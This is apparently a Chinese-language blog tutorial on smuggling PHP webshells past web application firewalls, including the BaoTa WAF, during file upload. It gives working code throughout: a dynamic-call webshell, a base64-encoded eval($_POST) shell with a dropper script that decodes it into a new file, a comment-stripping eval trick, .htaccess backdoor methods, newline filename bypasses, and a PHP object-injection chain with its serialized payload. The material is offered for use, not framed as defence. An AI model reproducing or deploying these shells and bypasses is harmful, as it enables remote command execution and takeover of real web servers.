一:动态调用
waf会对文件内容进行检索,如果发现有什么危险的函数,或者有什么危害的逻辑,都会进行拦击,所以我们不能写入一些危险的函数,否则就会被ban掉。在我们真正恶意代码前加入大量杂糅字符进行绕过;然后对后缀进行换行绕过;
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770
IconResource=%SystemRoot%\system32\imageres.dll,-112
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=-235
写入<?php $_GET['0']($_GET['1']);?>我们在上传的文件中并没有出现什么危险的函数,而是通过后期的get传入进行动态调用从而执行命令;这样就会绕过上传时waf的检测;但是绕不过disable_function;
二:利用.htaccess文件
对于利用.htaccess文件的攻击方法,其实有很多方法;包括自我包含造成后门,或者auto_prepend_file文件,或者自定义报错目录然后利用包含报错写入木马最后自定义包含,AddType等等。我们只需要将木马文件进行相应的编码即可;这种方法可以绕过waf的检测,但是也是绕不过 disable_function;
三:利用文件修改文件造成木马
当我们无法上传带有危险函数的木马时;可以使用文件篡改文件的方法;
先传入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=(<?php eval($_POST['a']);?>的base64)命名为1.php;这里我们上传时waf自然不会检测到,因为我们确实没有危险函数;然后再次传入第二个没有高度危险函数的2.php代码:
<?php
$path ="/xx/xxx/xx/1.php";//读取文件1.php
$str= file_get_contents($path);
$strs = base64_decode($str);//进行base64解码
$s1mple = fopen("./s1mple.php","w");
fwrite($s1mple,$strs);
fclose($s1mple);
?>
将我们的文件,进行了base64解密,然后写入的一个新的php文件中。先访问2.php,然后再访问s1mple.php就可以拿到shell。
fopen() 函数:打开文件或者 URL,如果打开失败,本函数返回 FALSE。
fopen(filename,mode,include_path,context)
filename:必需。规定要打开的文件或 URL。
mode:必需。规定要求到该文件/流的访问类型。可能的值见下表。
include_path:可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
context:可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
“r” :只读方式打开,将文件指针指向文件头。
“r+” :读写方式打开,将文件指针指向文件头。
“w” :写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
“w+” :读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
“a” :写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
“a+” :读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
四:利用低危木马;
如果不是拿权限的话,也是可以利用一些低危的操作,比如任意文件读取等等;
<?php
$s1mple = file_get_contents(__FILE__);//获取代码的所有内容;
eval(str_replace("<?php","",str_replace("//","",$s1mple)));//释放出木马
//eval($_GET['a']);
?>
基于注释的绕过。得到eval($_GET[‘a’]);可以达到任意文件读取。
五:利用逻辑问题
这个看不懂:
<?php
error_reporting(0);
class s1mple{
public $A;
function __construct(){
$this->A=new hacker();
}
function __destruct(){
$this->A->action();
}
}
class hacker{
function action(){
echo "hello_hacker";
}
}
class evil{
public $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['a']);
解析完这样:
O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}}
六:利用过宝塔waf思路另辟蹊径绕过waf
宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;对我们的filename做手脚;对filename做换行,也可以绕过;